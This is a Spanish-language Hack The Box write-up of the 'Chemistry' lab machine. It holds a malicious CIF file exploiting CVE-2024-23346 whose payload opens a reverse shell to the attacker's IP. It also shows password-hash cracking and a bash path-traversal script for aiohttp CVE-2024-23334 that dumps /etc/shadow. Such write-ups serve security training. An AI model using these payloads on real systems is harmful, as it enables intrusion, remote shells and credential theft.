---
description: >-
  En esta ocasión vamos a hacer el writeup de la máquina Chemistry de Hack the
  Box, una máquina Linux de dificultad easy.
---

# Chemistry

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FWxZOejkTY3LmA2WUj67g%2Fchemistry.jpg?alt=media&#x26;token=8217f6a8-4992-4a61-bbae-fc2ea87d2b04" alt=""><figcaption></figcaption></figure>

## <mark style="color:purple;">Primer acceso</mark>

Añadimos la IP `10.10.11.38` a nuestro `/etc/hosts` y accedemos través del navegador.

```bash
sudo echo "10.10.11.38 chemistry.htb" | sudo tee -a /etc/hosts
```

Esta máquina no tiene abierto el puerto 80 por lo que vamos a comprobar los puertos y servicios que tiene corriendo.

## <mark style="color:purple;">Escaneo de puertos</mark>

```bash
sudo nmap -v -sV -sS -T5 10.10.11.38 
```

```bash
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
```

Nos encontramos 2 puertos abiertos, el 22 típico y el 5000. Nos interesa el puerto 5000, por lo que vamos a escanearlo más en detalle con Nmap:

```bash
sudo nmap -v -sCV -p 5000 -T5 10.10.11.38

PORT     STATE SERVICE VERSION
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Thu, 07 Nov 2024 21:15:55 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
<-----SNIP----->
```

Encontramos que el puerto 5000 usa una versión de `Werkzeug/3.0.3` que podría ser vulnerable.

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FksrUOeJlbY8HKGQJPlmu%2Fwerkzeug.jpg?alt=media&#x26;token=0717e39a-5f1d-43bc-8606-406059ebb275" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fikg0zUfRhP1UPgeY1t3y%2Fchemistry-1.jpg?alt=media&#x26;token=50b0bd8d-c165-4228-91c0-f9ed7fd137d7" alt=""><figcaption></figcaption></figure>

Al acceder por el puerto 5000 nos encontramos un frontal con 2 CTAs: login y registro. Vamos a intentar registrarnos:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FtUkQfBf3itLUlLPlEpXK%2Fchemistry-2.jpg?alt=media&#x26;token=b99cfb74-b9ab-4bfd-8de0-eea21813afff" alt=""><figcaption></figcaption></figure>

Al registrarnos en la página llegamos a un dashboard donde podríamos subir un archivo .CIF y encima nos da un link a un archivo CIF de ejemplo que nos vamos a descargar para examinarlo:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2F1VLl4hTXKxkc1BlGCqjN%2Fchemistry-3.jpg?alt=media&#x26;token=3edac973-8fd2-48d7-9054-b0443ae79472" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2F2CQPZ0FN7OwbUNwBHsug%2Fchemistry-4.jpg?alt=media&#x26;token=f8400c55-581a-4732-9a84-2187517e89d5" alt=""><figcaption></figcaption></figure>

Vamos a abrir el archivo `.cif` a ver que contiene:

```shell-session
afsh4ck@kali$ cat example.cif 

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
```

Un archivo **`.cif`** (Crystallographic Information File) es un formato de texto utilizado principalmente en la química y la cristalografía para almacenar información estructural de cristales. El archivo `.cif` contiene datos sobre la estructura de una molécula o un cristal, incluidos detalles como las dimensiones de la celda unitaria, los ángulos, las posiciones de los átomos y otros parámetros relacionados con la cristalografía.

## <mark style="color:purple;">Búsqueda de exploits</mark>

Haciendo un poco de research nos encontramos con este artículo explotando el CVE-2024-23346:

{% embed url="https://ethicalhacking.uk/cve-2024-23346-arbitrary-code-execution-in-pymatgen-via-insecure/#gsc.tab=0" %}

Según este artículo, podríamos explotar esta vulnerabilidad de subida de un archivo .cif de la siguiente manera:

{% code title="CIF malicioso" %}
```
 data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.15.3/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```
{% endcode %}

{% hint style="info" %}
Fijaros que en la tercera línea empezando por abajo añadimos una reverse shell hacia nuestra IP de atacante y el puerto 4444
{% endhint %}



## <mark style="color:purple;">Explotación</mark>

Vamos a subir el archivo .cif malicioso al servidor, pero antes vamos a brir un listener de netcat por el puerto 4444:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FLzBjU34kfdMsqIxfvXJk%2Fchem-1.jpg?alt=media&#x26;token=f78cdbab-4625-4be8-8771-3ab3b62dcb36" alt=""><figcaption></figcaption></figure>

1. Una vez subido el cif malicioso lo abrimos con el botón View
2. Recibimos una shell como el usuario app

## <mark style="color:purple;">User flag</mark>

Haciendo un poco de enumeración encontramos el usuario rosa, dentro de la carpeta home, pero no podemos acceder a la flag, necesitamos la contraseña:

```shell-session
$ cd home
$ ls
app
rosa
$ cd rosa
$ ls
user.txt
$ cat user.txt
cat: user.txt: Permission denied
```

Hacemos un [tratamiento de la TTY](../../explotacion-de-vulnerabilidades/explotacion-en-hosts/shells-y-payloads/tratamiento-de-la-tty) para movernos un poco mejor y encontramos un archivo interesante que parece un archivo de volcado de una base de datos:

```shell-session
app@chemistry:~/instance$ ls
ls
database.db
app@chemistry:~/instance$ cat database.db

SQLite format 3@  �
�f�K�ytableuseruserCREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
)';indexsqlite_autoindex_user_1user�3�5tablestructurestructureCREATE TABLE structure (
<----SNIP---->
```

Como es un archivo bastante grande y con muchos caracteres me lo voy a llevar a Kali Linux para analizarlo mejor. Haciendo un filtrado con grep obtenemos lo que parece un hash del usuario rosa:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FKlCoMsIiOrWO5z4wL0TU%2Fchem-2.jpg?alt=media&#x26;token=d6198bf0-5aad-4889-a1b1-5dfe6d26004b" alt=""><figcaption></figcaption></figure>

```
(Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'Mapp197865e46b878d9e74a0346b6d59886a)
```

En esa cadena observamos 2 hashes, separados por una comilla simple:

```
Hash de Rosa: 63ed86ee9f624c7b14f1d4f43dc251a5
Hash de App:  197865e46b878d9e74a0346b6d59886a
```

Al pasar el hash de Rosa por Crackstation nos da la contraseña en plano. También podríamos usar John o Hashcat pero en ocasiones Crackstation es más rápido:

{% embed url="https://crackstation.net/" %}

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FHScfNSqxPEAf58y1OcfQ%2Fchem-3.jpg?alt=media&#x26;token=3b0c274b-ed1c-4264-9239-6c7704103e89" alt=""><figcaption></figcaption></figure>

Una contraseña muy propicia para el usuario Rosa... Vamos a conectarnos por ssh:

```shell-session
afsh4ck@kali$ ssh rosa@10.10.11.38

The authenticity of host '10.10.11.38 (10.10.11.38)' can't be established.
ED25519 key fingerprint is SHA256:pCTpV0QcjONI3/FCDpSD+5DavCNbTobQqcaz7PC6S8k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.38' (ED25519) to the list of known hosts.
rosa@10.10.11.38's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)

rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
rosa@chemistry:~$ ls
user.txt
rosa@chemistry:~$ cat user.txt
32e695f95710a09ec**************
```

Funciona y obtenemos la user flag!

## <mark style="color:purple;">Escalada de privilegios</mark>

Lo primero comprobamos los permisos de ejecución, pero no tiene ningún permiso el usuario rosa:

```shell-session
rosa@chemistry:~$ sudo -l
[sudo] password for rosa: 
Sorry, user rosa may not run sudo on chemistry.
```

Vamos a enviar un linpeas a la máquina para encontrar formas de elevar nuestros privilegios:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fl157ISNWR4GRfVJDGmFZ%2Flinpeas-1.jpg?alt=media&#x26;token=45e5ae7b-aaf1-461d-a390-3cf4ed11c520" alt=""><figcaption></figcaption></figure>

Lo primero que nos marca en rojo es la versión de sudo, que al parecer puede ser vulnerable:

```
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31
```

Probamos varios exploits de esta versión de sudo pero sin éxito en la máquina. Encontramos una web corriendo en localhost por el puerto 8080:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2F2I1NvEdUcnhOUzJgPr7m%2Flocalhost.jpg?alt=media&#x26;token=55755896-9ac0-42cd-aa9a-9ae9c3bf71cd" alt=""><figcaption></figcaption></figure>

Vamos a hacer un tunneling por SSH desde nuestro Kali Linux para ver de que se trata esta aplicación:

```shell-session
afsh4ck@kali$ ssh -L 7000:127.0.0.1:8080 rosa@10.10.11.38 -fN
rosa@10.10.11.38's password: 
```

Ahora podríamos acceder a través del navegador en nuestro Kali Linux en localhost por el puerto 7000:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fn3KxzESywXCFxtaLuAdq%2Fdes-1.jpg?alt=media&#x26;token=ef900598-2d61-44c8-b785-c46c87c79376" alt=""><figcaption></figcaption></figure>

Parece un portal en desarrollo ya que no funciona ninguna de las funcionalidades que tiene implementadas. No encontramos información relevante y Wappalizer no es capaz de analizar la tecnología del sitio. Con curl extraemos algo más de información:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>afsh4ck@kali$ curl localhost:7000 --head
</strong><strong>
</strong>HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Fri, 22 Nov 2024 00:51:55 GMT
Server: Python/3.9 aiohttp/3.9.1
</code></pre>

Buscando `Python/3.9 aiohttp/3.9.1 exploit` nos encontramos con que es vulnerable al CVE-2024-23334, que explota una vulnerabilidad Path Traversal en la librería de python AioHTTP =< 3.9.1

{% embed url="https://github.com/z3rObyte/CVE-2024-23334-PoC" %}

Podemos utilizar el siguiente script en bash para explotar este path traversal y que nos devuelva la root flag:

```bash
#!/bin/bash

url="http://localhost:8080"
string="../"
payload="/assets/"
file="root/root.txt" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"
    
    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done
```

#### **Funcionamiento**

El script iterativamente sube un nivel (`../`) y prueba concatenando `payload` y `file`. Por ejemplo, si el servidor tiene configurado el directorio raíz en `/var/www/html`, las rutas que intentará serían:

1. `/assets/root/root.txt`
2. `/assets/../root/root.txt`
3. `/assets/../../root/root.txt`
4. `/assets/../../../root/root.txt`
5. ... (hasta 15 niveles).

Si una de las rutas es válida y el servidor devuelve un `200 OK`, se asume que el archivo es accesible y se imprime su contenido.

#### Ejecución del exploit

Necesitamos darle permisos de ejecución con `chmod +x`:

```shell-session
rosa@chemistry:/tmp$ ./exploit.sh
-bash: ./exploit.sh: Permission denied
rosa@chemistry:/tmp$ chmod +x exploit.sh
rosa@chemistry:/tmp$ ./exploit.sh
[+] Testing with /assets/../root/root.txt
	Status code --> 404
[+] Testing with /assets/../../root/root.txt
	Status code --> 404
[+] Testing with /assets/../../../root/root.txt
	Status code --> 200
7705f58f24***********************
```

Como vemos eso nos vuelva la root flag (que estaré censurando una parte para evitar spoilers) y con esta técnica podríamos hacernos con cualquier archivo del sistema modificando el script, como por ejemplo `/etc/shadow`, donde se almacenan las contraseñas hasheadas en Linux e intentar crackear la contraseña del usuario root:

```
rosa@chemistry:/tmp$ ./exploit.sh 
[+] Testing with /assets/../etc/shadow
	Status code --> 404
[+] Testing with /assets/../../etc/shadow
	Status code --> 404
[+] Testing with /assets/../../../etc/shadow
	Status code --> 200
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JWi3/poCT6OfBkRpl.:19891:0:99999:7:::
rosa:$6$giyD4I2YumzG4k6.$0h0Gtrjj13qoK6m0XevedDBanbEz6BStzsLwUtrDm5sVkmnHOSSWF8f6W8B9btTEzyskmA2h/7F7gyvX1fzrT0:19893:0:99999:7:::
app:$6$XUL17hADm4qICsPv$QvCHMOImUTmS1jiaTQ2t6ZJtDAzgkqRhFYOMd0nty3lLwpyxTiyMWRgO/jbySPENinpJlL0z3MK1OVEaG44sQ1:19890:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
<----SNIP---->
```

